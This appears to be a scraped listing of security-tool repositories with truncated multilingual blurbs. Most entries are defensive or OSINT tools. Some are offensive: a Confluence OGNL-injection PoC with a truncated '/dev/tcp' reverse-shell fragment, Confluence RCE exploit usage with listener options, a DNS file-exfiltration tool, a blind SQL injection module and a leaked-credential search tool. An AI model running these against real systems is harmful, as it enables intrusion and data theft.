VUL4J-59

jsoup: Java HTML parser that makes sense of real-world HTML soup. jsoup is a Java library for working with real-world HTML. It provides a very convenient API for extracting and manipulating data, using the best of DOM, CSS, and jquery-like methods. jsoup implements the WHATWG HTML5 specification...

raptor

Raptor is a web-based web-serivce + UI github centric source-vulnerability scanner i.e. it scans a repository with just the github repo url. You can setup webhooks to ensure automated scans every-time you commit or merge a pull request. The scan is done asynchonously and the results are available...

WhoDat

WhoDat 项目 注意：在 PyDat 5 开发过程中，内部操作的方向发生了变化，导致 PyDat 项目退役。虽然已完成大量工作以最终确定 PyDat 5 的功能，但某些功能仍未得到充分测试。 WhoDat 项目是一个用于 whoisxmlapi 数据或任何存在于 ElasticSearch 中的 whois 数据的接口。它集成了 whois 数据、当前 IP 解析和被动 DNS。除了为分析师提供交互式、可旋转的应用程序进行研究外，它还有一个 API，支持以 JSON 格式输出。 WhoDat 最初由 Chris Clark 编写。原始实现使用 PHP，可在本仓库的...

twint

TWINT - Twitter 情报工具 无需身份验证。无需 API。无限制。 Twint 是一个用 Python 编写的先进 Twitter 抓取工具，允许在不 使用 Twitter API 的情况下抓取 Twitter 个人资料中的推文。 Twint 利用 Twitter 的搜索运算符，让您可以抓取特定用户的推文、抓取与特定主题、话题标签和趋势相关的推文，或者从推文中筛选出 敏感 信息，如电子邮件和电话号码。我发现这非常有用，而且您也可以发挥创意，实现更多功能。 Twint 还会向 Twitter 发送特殊查询，使您能够无需 任何身份验证、API、Selenium 或浏览器模拟，即可...

bettercap

This repository is DEPRECATED, bettercap developementmoved here and every version 2.0.0 is considered LEGACY and NOT SUPPORTED...

CVE-2022-26134

CVE-2022-26134 远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码,修改poc，方便getshell。常见端口:8090 影响版本 Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps por...

Scout2

AWS Scout2 .. image:: https://travis-ci.org/nccgroup/Scout2.svg?branch=master :target: https://travis-ci.org/nccgroup/Scout2 .. image:: https://coveralls.io/repos/github/nccgroup/Scout2/badge.svg?branch=master :target: https://coveralls.io/github/nccgroup/Scout2 .. image::...

CVE-2023-22527

CVE-2023-22527 - Vulnerabilidad RCE Ejecución Remota de Código en Confluence Data Center y Confluence Server PoC Detección nuclei -v -t /path/to/template.yam; -u http://ip:port/ Explotación python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...

gps-sdr-sim

GPS-SDR-SIM GPS-SDR-SIM 生成 GPS 基带信号数据流，这些数据流可以使用软件定义无线电（SDR）平台转换为射频信号，例如 ADALM-Pluto、bladeRF、HackRF 和 USRP。 Windows 构建说明 1. 启动 Visual Studio。 2. 创建一个空的控制台应用程序项目。 3. 在右侧的解决方案资源管理器中，将 "gpssim.c" 和 "getopt.c" 添加到源文件文件夹。 4. 在解决方案配置下拉列表中选择 "Release"。 5. 生成解决方案。 使用 GCC 构建 root@kitploit: $ gcc gpssim.c...

volatility

This project is archived. See Volatility 3 for modern investigations: https://github.com/volatilityfoundation/volatility3 ============================================================================ Volatility Framework - Volatile memory extraction utility framework The Volatility Framework is a...

SharpDNSExfil

SharpDNSExfil SharpDNSExfil 是一个用 C 编写的数据渗出工具。其主要目标是在无需担心出站连接受限的情况下，渗出任意“磁盘上”的文件。 前提条件 远程机器应能够解析 DNS 为什么我要做这个？ 在我的一次渗透测试中，我获得了盲 RCE，但发现远程机器有防火墙保护，不允许出站连接，这让我很难获得反向连接。好消息是，DNS 服务器可以解析公共域名，并能通过 DNS 到达我。问题是，我仍然无法获得反向 shell，只能读取一些小的输出，但这不够好。所以我有了一个想法，通过 DNS 自动化整个过程并递归所有步骤，最终成功了！ 注意 ：整个过程仅通过自定义公共 DNS...

urh

The Universal Radio Hacker URH is a complete suite for wireless protocol investigation with native support for many common Software Defined Radios. URH allows easy demodulation of signals combined with an automatic detection of modulation parameters making it a breeze to identify the bits and byt...

blind-sql-bitshifting

基于位移的盲SQL注入 这是一个通过位移法计算 字符而非猜测字符的盲SQL注入模块。根据配置，每个字符需要7/8次请求。 用法 root@kitploit: import blind-sql-bitshifting as x Edit this dictionary to configure attack vectors x.options 配置示例： root@kitploit: 易受攻击的链接 x.options"target" = "http://www.example.com/index.php?id=1" 指定Cookie（可选） x.options"cookies" = ""...

bleah

This repository is DEPRECATED, please usebettercap as this tool has been ported to its BLE modules...

pupy

Pupy Simple Installation root@kitploit: pip3 install pipx pipx ensurepath pipx install git+https://github.com/n1nj4sec/pupy@nextgen pupysh If you want more detailed informationRefer to the wiki Development Install root@kitploit: git clone https://github.com/n1nj4sec/pupy cd pupy git checkout...

pwndb

pwndb.py pwndb.py is a python command-line tool for searching leaked credentials using the Onion service with the same name. Usage root@kitploit: usage: pwndb.py -h --target TARGET --list LIST --output OUTPUT --proxy PROXY optional arguments: -h, --help show this help message and exit --target...

CVE-2021-27905

CVE-2021-27905 Falsificación de solicitudes del lado del servidor SSRF en ReplicationHandler de Apache Solr Hit Counter Apache Solr cuyas siglas provienen de Searching On Lucene with Replication es un motor de búsqueda gratuito y de código abierto basado en la biblioteca Apache Lucene. Está escri...

opencspm

OpenCSPM Open Cloud Security Posture Management（开源云安全态势管理，简称OpenCSPM）是一个开源平台，可帮助您深入了解云配置和元数据，从而随着时间的推移理解和降低风险。 OpenCSPM 面向谁？ 在云环境中运行基础设施的安全团队，希望全面了解整个账户的安全风险并跟踪问题的解决。 开发与基础设施团队，希望遵循一套安全最佳实践，在开发新系统时尽早并频繁地融入安全考量。 红队成员，希望针对自己的环境创建具有最高影响且对蓝队最有益的目标场景。 任何希望建立安全问题的基线、按风险进行优先级排序并跟踪直至最终解决的组织。 OpenCSPM 能做什...

Maryam

OWASP Maryam OWASP Maryam is a modular open-source framework based on OSINT and data gathering. It is designed to provide a robust environment to harvest data from open sources and search engines quickly and thoroughly. Installation Supported OS Linux FreeBSD Darwin OSX root@kitploit: $ pip insta...

Maryam

OWASP Maryam OWASP Maryam 是一个基于 OSINT 和数据收集的模块化开源框架。它旨在提供一个强大的环境，以快速且彻底地从公开资源和搜索引擎中收集数据。 安装 支持的操作系统 Linux FreeBSD Darwin OSX root@kitploit: $ pip install maryam 或者，你也可以使用以下命令安装最新版本（推荐）： root@kitploit: pip install git+https://github.com/saeeddhqan/maryam.git 使用方法 root@kitploit: Using dnssearch...